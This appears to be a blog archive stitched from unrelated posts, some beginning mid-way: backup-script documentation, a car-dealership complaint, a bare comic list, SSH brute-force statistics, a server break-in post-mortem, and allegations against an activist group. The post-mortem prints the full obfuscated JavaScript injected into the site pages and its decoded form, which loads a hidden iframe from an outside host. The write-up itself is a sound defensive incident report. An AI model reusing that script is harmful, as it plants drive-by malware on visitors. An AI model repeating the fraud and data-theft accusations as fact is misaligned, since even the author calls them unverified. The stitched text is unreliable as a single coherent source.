I can cope without access to my to-do lists for 12 hours, but what scared me about this outage was the realization that my to-do lists are only in Todoist. If it were to suddenly go away for a more than a day, or if (horror or horrors!) they suddenly went down forever, all my data would be lost. That’s not OK.

Many other people have this same concern and have begged Todoist to provide a mechanism for exporting their data to back it up somewhere. Thus far, the closest they’ve come to this is supporting offline use in their iPhone / iPod / iPad app, which is better than nothing, but not good enough.

So I wrote my own. It’s a Perl script you can download here. Here’s the documentation:

NAME

todoist-fetch.pl – Simple todoist backup / restore script, to reassure you that you won’t lose all of your data if Todoist suddenly goes belly-up.

SYNOPSIS

todoist-fetch.pl [--help] [--manual] [--project=project] [--username=username] [--password=password] –text | –reorder [input-file] | –backup [--nocompleted]

DESCRIPTION

Modes

This script has three modes:

–text Fetch all of the items in a specific project and print them one per line, including the item ID and content for each item.

–reorder Read a list in the format produced by –text and reorder the project so it matches the (presumably reordered) list.

–backup Fetch all of your project and item data (not notes or labels, since I don’t use them, but patches are welcome and print them in JSON format with some text annotations explaining what the various JSON blobs are.

Backup notes

The format of the backup mode output isn’t intended to be particularly user-friendly, or easy to read, or easy to import into another application. If/when you need to do anything real with the data, you’ll probably need to write another script to convert it into something useful. All it’s intended to do is snapshot your data so you’ll have it in an emergency.

Backup mode uses a non-public API call, because the public API doesn’t allow all completed tasks to be fetched except for premium users, and I’m not a premium user. If the folks at todoist change the non-public API, this will break.

OPTIONS

Other options in addition to the mode options described above:

–help Print usage message and exit.

–manual Print entire manual and exit.

–username (or set $TODOIST_USERNAME) Specify Todoist username.

–password (or set $TODOIST_PASSWORD) Specify Todoist password.

–project (or set $TODOIST_PROJECT) Specify Todoist password for –text or –reorder.

–nocompleted Don’t export completed items in backup.

AUTHOR

Jonathan Kamens <jik@kamens.us>. Please feel free to contact me with questions, comments, or suggestions! Also, please consider making a donation at http://blog.kamens.us/support-my-blog/ to support future development of this and other free tools.

COPYRIGHT

Copyright (C) 2012 Jonathan Kamens. Released under the terms of the GNU General Public License, Version 3 or any subsequent version at your discretion. See http://www.gnu.org/copyleft/gpl.html.

VERSION

$Id: todoist-fetch.pl,v 1.5 2012/01/24 19:34:17 jik Exp $

In a nutshell, Honda Village lied to us when we bought our car, lied to us after the fact, ignored our complaints, sent us (and others) intentionally misleading junk mail and refused to stop when asked, sent us lots of spam and refused to stop when asked, and did mediocre auto-body work for us which took multiple attempts to get right (this last point was Village Collision, another business within the Village Automotive Group umbrella of which Honda Village is a part).

Nevertheless, Honda Village is where we bought our Honda Odyssey minivan, and they are the closest Honda dealership to our house, so when we need service done that is warranty- or recall-related and/or inexpensive and hard enough for them to screw up, we take our van there. Or so I thought.

A number of months ago, I brought our van to Honda Village for some simple service or recall or something; I forget the details. After looking up our van in the computer, the associate informed me that I had to speak to the service department manager about something. I went into the manager’s office, where he informed me that Honda Village would not service my vehicle.

Honda Village has never apologized for any of the things I complained to them about. They have never acknowledged doing anything wrong, unless you consider it an “apology” when they paid me the refund I demanded for the warranty which they convinced me to purchase by outright lying to me about its coverage (fraud!).

Their response to my legitimate complaints was not to acknowledge them and try to improve. No, their response has been to continue on with business as usual and refuse to serve me.

Judge for yourself whether this is a business which deserves your patronage.

P.S. I just realized that I never got around to posting what happened after my last letter to Honda Village’s lawyer. So, for those who are curious… Their lawyer sent back a response asserting that the precedents on which I was relying were out-of-date, and citing a newer precedent which he claimed precluded my filing a Chapter 93a claim against Honda Village. After reviewing that newer precedent, I thought he was probably right, and in any case didn’t have any more time to waste on it, so I dropped it.

• Banana Triangle
• Birdbrains
• Dog Eat Doug
• F Minus
• Ink Pen
• Luann
• The Other Coast
• Overboard
• Pluggers
• Rubes
• Scary Gary
• Strange Brew

Enjoy!

P.S. If you find the aggregator useful, please consider making a donation. Thanks!

Unfortunately, it looks like the bad guys have finally figured out how to put their bots to work running distributed SSH brute-force attacks. If so, then fail2ban is no longer going to be good enough, and more sophisticated (and inconvenient) measures are going to be needed.

Prior to December 1, the five machines I maintain with SSH servers accessible to the public have been probed by an average of 13 different IP addresses per day. On December 1, they were probed by 109 different IP addresses, a 738% increase over the prior average. On December 2 and 3, they were probed by 79 and 72 different IP addresses. Not as high as the first day, but still quite a jump!

I saw this increase across the board on five different machines on four distinct networks run by four different network service providers. I’ve been in correspondence with someone at the SANS Internet Storm Center who says he’s seen a similar spike on machines he maintains.

It seems clear to me that someone is engaging in a distributed brute-force attack trying to break into servers as root via ssh.

Since this particular attack is targeted at the root user, you’re safe for the time being as long as you don’t allow root to log in with a password. But it’s only a matter of time before they start attempting distributed brute-force attacks of non-root accounts. When that happens, blocking individual IP addresses with a series of failed login attempts is no longer going to be sufficient.

If you maintain a server whose SSH port is open to the public, please let me know the details if you’re seeing a similar attack on your server (you can post a comment here or email me. In case it is useful, here is the script I have been using to collect and display data from the machines I maintain.

UPDATE: It looks like it’s dying down. As of December 8, SSH brute-force attempts from distinct IP addresses are at or near their pre-spike levels:

Either somebody’s managed to put a stop to whatever was executing this attack, or the attackers have gone back to the drawing board and are tweaking their bots in preparation for the next attack. :-/

Here’s my response: http://blog.kamens.us/jew-is-not-a-bad-word/.

Until recently I was backing up my data into a ReiserFS filesystem being stored in the Amazon S3 cloud via s3backer. That was costing me on average a little under $5 per month in storage and transaction costs.

Then I got an offer from AppSumo for 10GB of storage for life from LetsCrate for only $25. That got me wondering… There are a bunch of cloud storage / file sharing services on the Internet right now, and just about every one of them offers some amount of storage for free. Could I find away to take advantage of all that free storage to reduce my backup costs almost to nothing?

What’s out there

Here are the cloud storage services that offer free Linux-accessible storage that I know about (if you know of others, please post a comment or email me!):

That’s 50GB of free space in the cloud (43GB if you don’t have a Windows VM), if you can figure out how to use it effectively. So, how do you use it effectively?

The backup script: crateify.pl

My answer is crateify.pl, a simple Perl script I wrote for this purpose.

Without further ado, here is its embedded Perl “POD” documentation:

NAME

crateify.pl – Package up files for backing up in the cloud

DESCRIPTION

This script packages files within a directory tree into compressed, encrypted tar “crates” that can be easily uploaded to free cloud storage accounts, providing a sort of poor-man’s cloud backup solution.

The files are packaged in chronological order, i.e., oldest files first, to minimize the frequency with which you have to rebuild crates. Files that are updated between runs of the script are repackaged in new crates.

CONFIGURATION SETTINGS

The following variables can and should be edited in the script before you use it:

$backup_dir

The directory whose contents should be crated.

Note that files with newlines in their names will not be crated.

$data_dir

The directory in which crates and associated metadata files should be stored.

$gpg_dir

The directory in which the keyring containing your GPG key (used to encrypt the crates for safe storage online) is stored.

$gpg_key

The identifier of the GPG key that should be used to encrypt the crates.

NOTE: Make sure you have copies of your public and private GPG keys backed up somewhere safe not inside a crate. If your computer crashes and you need to restore from your backup, it won’t do any good if you can’t decrypt it!

$archive_size

The (pre-compression, pre-encryption) size of each crate, in bytes. A crates can end up being much bigger than this if the last file inserted into it is large.

@exclude

Regular expressions (relative to the root of $backup_dir) of directories and files to be excluded from crating.

Here’s a trick I use to find out what’s taking up space in my crates:

 cd $backup_dir
 sed -e 's/ [0-9]*$//' $data_dir/crate-##### | xargs -d '\n' ls -lSr

This lists the files in the specific crate, in size order, so you an see what’s taking up a lot of space. I do this whenever my nightly backup report email tells me that a larger than expected crate was built.

Note that I personally do not back up my “live” hard drive, but rather a mirror hard drive maintained with rdiff-backup. Therefore, most of the files I would not want/need to crate are already excluded from my $backup_dir, which is why my @exclude list is so short.

If you do backup of your live hard drive, then make sure you exclude cloud storage directories, e.g., ~/Dropbox, especially if you store crates in them! Otherwise, you’ll create a loop where each time you create new crates in a backup, your old crates will be included in them, which would obviously be Very Bad.

If you specify both @exclude and @include, then @include is applied first and @exclude is applied to what’s left.

@include

Regular expressions (relative to the root of $backup_dir) of directories and files to be included from crating.

If you specify both @exclude and @include, then @include is applied first and @exclude is applied to what’s left.

OPTIONS

–crates=#

Produce (at most) te specified number of crates, rather than just one new crate, which is the default.

This is faster when you want to produce multiple crates, since it won’t have to rescan the entire backup directory for each one.

–full

Create enough crates to hold everything that currently needs to be crated.

–scan

Update meta-data files (see below) without building any new crates.

–quiet

Don’t print warnings about updated or deleted files in existing crates.

COMPACTING CRATES

The early crates you build will probably be relatively static, assuming that you have a lot of old data that isn’t likely to change anymore.

However, over time your crates will accumulate files that are obsolete because they’ve been deleted or updated versions have been packed into newer crates. Each time you run it, the script prints warnings about such files.

You will probably want to occasionally “compact” your crates to remove such obsolete files. To do this, simply remove the corresponding crate-##### files from $data_dir, and the corresponding compressed, encrypted tar files from wherever you put them, and the script will repack the files that were in those crates the next time you run it.

META-DATA FILES

The script creates the following meta-data files:

crate-#####

Listings of the files in each crate. The script needs these to work, so you should leave them in $data_dir even if you move the crates themselves into the cloud.

deleted

A list of the crated files that have been deleted since they were crated.

updated

A list of the crated files that have been updated since they were crated, i.e., files that have obsolete versions in one or more crates, and will also, if your crates are up-to-date, have a current version in one crate.

packing_list

Temporary file created and used while packing crates. It should not exist between successful runs of the script, but you shouldn’t create a file with this name in $data_dir or it’ll get overwritten.

excludes

A list of all te files in all of the crates, intended to be used to exclude those files from some other backup system.

Suppose you want to use this script to back up your old, static files that never change, but you’d rather use some other backup system to back up frequently changing files. To do that, you would tell the other backup system to exclude the files listed in $data_dir/excludes.

For example, if you use rsync to backup frequently changing files to a remote filesystem, then you can tell it to “–exclude-from $data_dir/excludes”.

WHERE TO PUT THE CRATES

The crates you build with this script obviously don’t do much good as a backup if they sit on the same drive as the files being backed up. Here are some examples of what you can do with them to turn them into a real backup.

• Stick an extra hard drive (internal or external) into your system and put your crates on it. This won’t do you much good if your house burns down or somebody steals your computer, but it’ll at least protect you against drive failure.
• Make a deal with a friend — he lets you use unused space on his hard disk to scp your crates to every night when you back up, and vice versa.
• Free cloud storage! See http://blog.kamens.us/ for a list of cloud storage platform which will give you a total of 50GB of free storage just for asking. You can store a lot of crates in 50GB!
• Upload them to Amazon S3 or some other commercial cloud storage service.

Personally, I have uploaded most of my crates, the ones containing older files that change rarely if ever, by hand to free accounts on SkyDrive and LetScrate. Then, my nightly backup puts new crates in my Dropbox folder, so they get synchronized to the cloud automatically. Occasionally, I compact the Dropbox crates as described above and move some of the compacted crates SkyDrive or LetsCrate as needed.

What if a crate is too big?

You probably have some really huge files (home videos, anyone?) that you want to back up. Since this script doesn’t split files between crates, any crate containing a really huge file is going to be really huge itself.

Depending on where you store your crates, this may present a problem, since some cloud storage services limit the size of uploaded files.

The easiest solution is to split big crates before uploading it. For example:

  split -b 50000000 -d crate-#####.tar.bz2.gnupg crate-#####.tar.bz2.gnupg. && \
  rm crate-#####.tar.bz2.gnupg

The name of the crate is specified to the “split” command a second time with a period at the end of it as the file-name prefix for the split files that are produced.

If you ever need to restore from a split crate, you can cat all of the split files directly into gpg, something like this:

  cat crate-#####.tar.bz2.gnupg.* | gpg | tar xj

DOING A RESTORE

If you can’t figure out on your own how to restore from the crates produced by this script, then you probably shouldn’t use it. CrashPlan is a pretty nice service, and it’s very inexpensive.

Having said that…

To restore from a set of crates, you decrypt and untar all the crates in order (preferably as root, so that read-only, updated files can be overwritten) and then remove the ones listed in the “deleted” file.

Alternatively, if you just need to restore a specific file, you can look through the crate-##### files in reverse order to find the file you want, and then extract it from the corresponding crate.

WHAT THIS SCRIPT ISN’T

This script isn’t really intended to preserve historical versions of files or to allow you to recover files that were deleted long ago. It sort of does that if you never compact your crates, but that’ll eat up a lot of extra storage space for files that change regularly.

Therefore, if you want access to a historical record of your files, as opposed to an emergency recovery snapshot of what you’ve got on disk right now, this probably isn’t the right tool for you.

AUTHOR

This script was written and is maintained by Jonathan Kamens <jik@kamens.us>.

Please let me know if you have questions, comments or suggestions!

OTHER FREE BACKUP SOLUTIONS

I won’t lie to you… It takes work to set up and use this script for backups. If you’re the kind of do-it-yourselfer who likes stuff like this, great, but if not, you might be asking yourself, “Are there other options for backing up my Linux box for free?”

There are probably quite a few of them, but if you have one that’s you’re favorite please free to email me email me and I’ll add it here, but here’s the one I like…

CrashPlan

CrashPlan (http://crashplan.com/), which I’ve mentioned elsewhere in this document, will let you back up an unlimited amount of data to their servers for $3.00 per month. This is neat, but they’ll also let use their easy-to-use software for free to back up your data to your own server instead of theirs.

“How is that free?” you’re asking? Well, if you can find a friend with an Internet connection (who doesn’t?) and some extra hard drive space (hard drives are really cheap nowadays!), you can back up your system on his hard drive, and vice versa. Both of you need to install the CrashPlan software on your systems and open up your firewalls to allow access to it, and that’s it. You can configure CrashPlan to limit the amount of bandwidth it uses so it won’t max out your Internet connection (in fact, it comes configured that way by default). The one caveat is that if you ever do need to do a restore, it’ll probably take longer from your friend’s computer than it would from something in the cloud, since most home Internet connections have a slower uplink speed than downlink.

DONATIONS

This script is and always will be free for you to use or modify as you see fit. Having said that, it took me time to write the script, and it takes me time to support the people using it. So if you do use it and save yourself some money, please consider showing your appreciation by sending me a donation at http://blog.kamens.us/support-my-blog/. Any donation, large or small, is appreciated!

COPYRIGHT

Copyright (c) 2011 Jonathan Kamens.

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

VERSION

$Id: crateify.pl,v 1.35 2012/01/04 13:07:30 jik Exp $

The current version of this script should always be available from http://stuff.mit.edu/~jik/software/crateify.pl.txt.

(Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically fetches the URL /cron.php on the site. Each time /cron.php is fetched, Drupal checks if any scheduled tasks came due since the last time it was fetched, and executes the PHP code for those tasks. The scheduled tasks aren’t actually supposed to generate any output, so the cron job that fetches /cron.php shouldn’t generate any output and therefore shouldn’t cause cron to send email.)

All the sudden, the cron job that fetches /cron.php started sending me email every time that it ran. When I looked closely, I saw that the contents of the email were some strange, totally incomprehensible JavaScript fragment. I was incredibly busy, so although I thought it was curious that this should suddenly start happening, I didn’t immediately give much thought to it. After it had been stewing in the back of my mind for a couple of hours, however, I suddenly realized with a start that some script kiddie had almost certainly broken into the server and added malicious JavaScript to its pages, so I had no choice but to stop what I was doing and clean up the mess.

It turned out that two Drupal files, /index.php and /includes/bootstrap.inc, had indeed had malicious JavaScript appended to the end of them:

<script>b=new function(){return 2;};if(!+b)String.prototype.test=”harC”;for(i in $=’esrhserh’)if(i==’te’+'st’)m=$[i];try{new Object().wehweh();}catch(q){ss=”";}try{window['e'+'v'+'al'](‘asdas’)}catch(q){s=String["fr"+"omC"+m+"od"+'e'];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd=”e”;if({}.asd===’e')a=document['c'+'r'+'e'+'a'+'t'+'e'+'T'+'e'+'x'+'t'+'N'+'o'+'d'+'e'](’321′);if(a.data==321)t=-1*(d-d2);n=[-t+7,-t+7,-t+103,-t+100,-t+30,-t+38,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+39,-t+121,-t+7,-t+7,-t+7,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+57,-t+7,-t+7,-t+123,-t+30,-t+99,-t+106,-t+113,-t+99,-t+30,-t+121,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+117,-t+112,-t+103,-t+114,-t+99,-t+38,-t+32,-t+58,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+30,-t+113,-t+112,-t+97,-t+59,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+30,-t+117,-t+103,-t+98,-t+114,-t+102,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+113,-t+114,-t+119,-t+106,-t+99,-t+59,-t+37,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+56,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+57,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+56,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+57,-t+106,-t+99,-t+100,-t+114,-t+56,-t+46,-t+57,-t+114,-t+109,-t+110,-t+56,-t+46,-t+57,-t+37,-t+60,-t+58,-t+45,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+60,-t+32,-t+39,-t+57,-t+7,-t+7,-t+123,-t+7,-t+7,-t+100,-t+115,-t+108,-t+97,-t+114,-t+103,-t+109,-t+108,-t+30,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+121,-t+7,-t+7,-t+7,-t+116,-t+95,-t+112,-t+30,-t+100,-t+30,-t+59,-t+30,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+97,-t+112,-t+99,-t+95,-t+114,-t+99,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+38,-t+37,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+113,-t+112,-t+97,-t+37,-t+42,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+59,-t+37,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+59,-t+37,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+106,-t+99,-t+100,-t+114,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+114,-t+109,-t+110,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+117,-t+103,-t+98,-t+114,-t+102,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+44,-t+95,-t+110,-t+110,-t+99,-t+108,-t+98,-t+65,-t+102,-t+103,-t+106,-t+98,-t+38,-t+100,-t+39,-t+57,-t+7,-t+7,-t+123];for(i=0;i<n.length;i++)ss+=s(eval(“n”+”["+"i]“));eval(ss);</script>

Since this Drupal site is hardly used nowadays and hasn’t been updated in a long time, my first guess was that somebody had found a way to take advantage of an old Drupal bug to modify files within the site’s filesystem hierarchy. However, the thing I couldn’t immediately explain was that neither the modified files nor the directory they lived in were writable by the “apache” user which which owns the web server processes. I said to myself, “Either I’m missing something, or whoever did this had root access to my server.” Since I was still incredibly busy, I decided at least for the time being to be optimistic and assume the former because the latter was sure to turn out to be a much bigger pain to deal with. Therefore, I restored the unhacked versions of the files, changed the ownership of all the files in the hierarchy to root, removed write access from the entire hierarchy to everyone, and got on with my day. This was a mistake.

Shortly after, when I was just about to leave the house to go to curriculum night at my kids’ school, I noticed an email message in my inbox saying that another web site I host, an actively maintained MediaWiki site, was reporting an internal server error when people tried to access it. Since it’s unlikely that the current MediaWiki version would have an unpatched security bug being actively exploited, and even more unlikely that an attacker would exploit separate Drupal and MediaWiki bugs to gain access to a server, it was immediately obvious that someone had, in fact, broken into my server, and I was in for a long night. In the time I had available, all I could do was shut down the web server processes so my server wouldn’t be serving malicious content onto the web; the next few hours were not my most attentive curriculum night.

Here’s an overview of what I discovered when I performed a full investigation and mitigation:

• The MediaWiki files that were modified, with the same JavaScript, were /index.php and /includes/Title.php.
• My SSH daemon as well as a number of other SSH executables were replaced. I think the new version which ignored /etc/hosts.deny and had a backdoor to allow root access without going through PAM.
• Several other web sites I host were hacked with the same JavaScript:
• /index.php and /wp-feed.php on my WordPress blog
• /charter.html and /index.html on a raw-HTML web site
• /index.php on a CMS Made Simple web site
• /index.html in the root directory for the default web site (i.e., /var/www/html/index.html on the server filesystem)
• /index.php and /includes/footer.php on a currently unused and out-of-date Joomla! web site
• Here’s what the obfuscated JavaScript shown above tries to execute:

  if (document.getElementsByTagName('body')[0]) {
      iframer();
  }
  else  {
      document.write("");
  }
  function iframer() {
      var f = document.createElement('iframe');
      f.setAttribute('src','http://googlecheck.cz.cc/index.php?tp=e959139e7f601264');
      f.style.visibility='hidden';
      f.style.position='absolute';
      f.style.left='0';
      f.style.top='0';
      f.setAttribute('width','10');
      f.setAttribute('height','10');
      document.getElementsByTagName('body')[0].appendChild(f);
  }

• Google Chrome is smart enough to detect and warn about this malicious JavaScript. Firefox isn’t. I didn’t try any other browsers.

Additional details about what was changed are included below. I saved copies of all of the modified executables and most of the modified web site files, so if you work in internet security by vocation or avocation and feel like disassembling some hacked SSH binaries to see what makes them tick, let me know.

Unfortunately, I can’t say exactly how the hacker broke into my server. It’s possible that he took advantage of an unpatched security hole in my virtual machine, but it’s also possible that he broke into the physical server hosting it, because my VM runs on a VPS infrastructure, in which anyone who with access to the host server has access to all of the processes and files owned by the individual VPSes.

In addition to restoring all of the modified web site files and executables (I ran a complete audit with “rpm –verify -a” as well as comparing the whole filesystem to its previous night’s backup from before the break-in), I took the following steps to (I hope) protect my server against future incursions:

• I updated a whole bunch of RPMs on my appliance (full list below), many of which no doubt contained security fixes.
• I fixed the configuration of yum-updatesd so that it will (at least I hope it will; I will follow up later to make certain) notify me promptly when future updates are available. I already had it running but configured to send notifications via dbus rather than email, which didn’t do any good because I never log into the VPS on a graphical console. Shame on me for not making sure this was working properly before.
• I reset all of the passwords for accounts that had passwords (accounts whose only access is via SSH public-key authentication do not have passwords).
• I changed my own account password not only on my server, but also everywhere else where I used the same password.

More details about the method and content of the attack

Some interesting log entries from /var/log/secure around when the break-in happened:

Sep 15 12:28:20 jik3 sshd[3188]: Connection closed by 63.223.110.54
Sep 15 12:37:32 jik3 sshd[1408]: Received signal 15; terminating.
Sep 15 12:37:33 jik3 sshd[16375]: Server listening on 0.0.0.0 port 22.
Sep 15 12:37:55 jik3 sshd[16388]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 12:38:01 jik3 sshd[16435]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:06:53 jik3 sshd[27758]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:06:58 jik3 sshd[27890]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:07:48 jik3 sshd[28345]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:08:10 jik3 sshd[28527]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:09:14 jik3 sshd[28926]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:09:15 jik3 sshd[28929]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:11:32 jik3 sshd[29832]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:11:34 jik3 sshd[29834]: pam_unix(sshd:session): session opened for user root by (uid=0)

I reviewed all of my logs, and this is the only trace I found of the attack (there didn’t even seem to be anything left behind in /root/.bash_profile, although I suppose it’s possible that I accidentally erased it). My best educated guess is that the first log line above is a hint that the attacker used a bug in sshd or one of the libraries it links against, probably a buffer overflow or something like that, to gain access to the server. The second and third lines are when the attacker restarted his version of /usr/sbin/sshd. The subsequent lines are him logging in through the modified sshd.

It’s worth noting that I have a monitor running on my box which notifies me about abnormal syslog messages on a minute-by-minute basis 24×7, but all of the messages above are considered normal so I wasn’t notified them. I would have been notified if sshd had logged “Accepted publickey|password for root from IP-address-that-I-don’t-usually-use,” but alas the hacker’s version of sshd suppressed this log message.

The following SSH executables were all modified at 12:36pm:

• /usr/sbin/sshd
• /usr/bin/ssh-keygen
• /usr/bin/scp
• /usr/bin/sftp
• /usr/bin/ssh
• /usr/bin/ssh-add
• /usr/bin/ssh-agent
• /usr/bin/ssh-keygen
• /usr/bin/ssh-keyscan

In addition, the files /usr/libexec/sftp-server and /usr/libexec/ssh-keysign, and/usr/share/Ssh.bin were added. The latter was a 600-byte file containing unidentified binary data. The “file” utility claims that it is a “DBase 3 data file (507582464 records),” which is obviously totally bogus.

Also, a bunch of man pages were added in /usr/share/man: man1/scp.1, man1/sftp.1, man1/slogin.1, man1/ssh-add.1, man1/ssh-agent.1, man1/ssh-keygen.1, man1/ssh-keyscan.1, man1/ssh.1, man5/ssh_config.5, man5/sshd_config.5, man8/sftp-server.8, man8/ssh-keysign.8, and man8/sshd.8. I must admit that it was very considerate for the attacker to include man pages for the binaries he installed! *rimshot*

Full list of updated RPMs

Perhaps somebody who follows security patching more closely than I do nowadays can look at this and tell me which of the old RPMs on my server was the attack vector.

I’ve reset the password on the account to prevent him from using it, but I can’t log into the account to see what profile information he specified or what he did on the site, because the site provides no way to recover a lost username. I’ve contacted webmaster@mozilla.com and asked them to provide me with the username as well as information from their logs about who created this account.

They’re a bit more likely to be willing to help then Skype, given that (a) they’re a collaborative, open-source organization and (b) I have an ongoing relationship with Mozilla, having submitted several core and Thunderbird patches and been nominated as a “Friend of the Tree”.

I’ve asked them at the very least, if they’re unwilling or unable to provide me with the username, to delete the account, since I don’t want accounts created by other people using my email address on sites all over the internet.

I have been in conversation about this with a high-level employee at Brave New Foundation, and I am now able to report the following important information:

• Brave New Foundation does not sell, share or rent their email lists.
• There is a Brave New Foundation employee with access to their lists who has a relative who works for Nation of Change.
• Brave New Foundation believes that this Nation of Change employee made unauthorized use of his/her relative’s access to copy an as yet undetermined subset of Brave New Foundation’s email lists for Nation of Change’s use.
• Brave New Foundation does not believe its employee was complicit in this unauthorized access. In fact, s/he was unaware that it had occurred until I brought it to Brave New Foundation’s attention.
• Brave New Foundation considers this breach of their data to be extremely serious, and they are actively investigating it.
• Brave New Foundation is considering legal action against Nation of Change both to prevent any further use of the copied email addresses and to obtain financial compensation for the damage to Brave New Foundation’s reputation and the time and resources spend investigating this incident.

All of this information, as well as some additional off-the-record supporting information that I cannot report here, was provided to me directly by an employee of Brave New Foundation. I have no reason to believe that employee is lying, and what s/he told me is consistent with my suspicions and impressions about Nation of Change. However, in the spirit of full disclosure, I want to be clear that I have not seen any hard evidence supporting any of Brave New Foundation’s allegations against Nation of Change.

When you combine these new allegations against Nation of Change with all the other issues I raised in my first posting about them, it seems doubtful that this is an organization which deserves anyone’s support.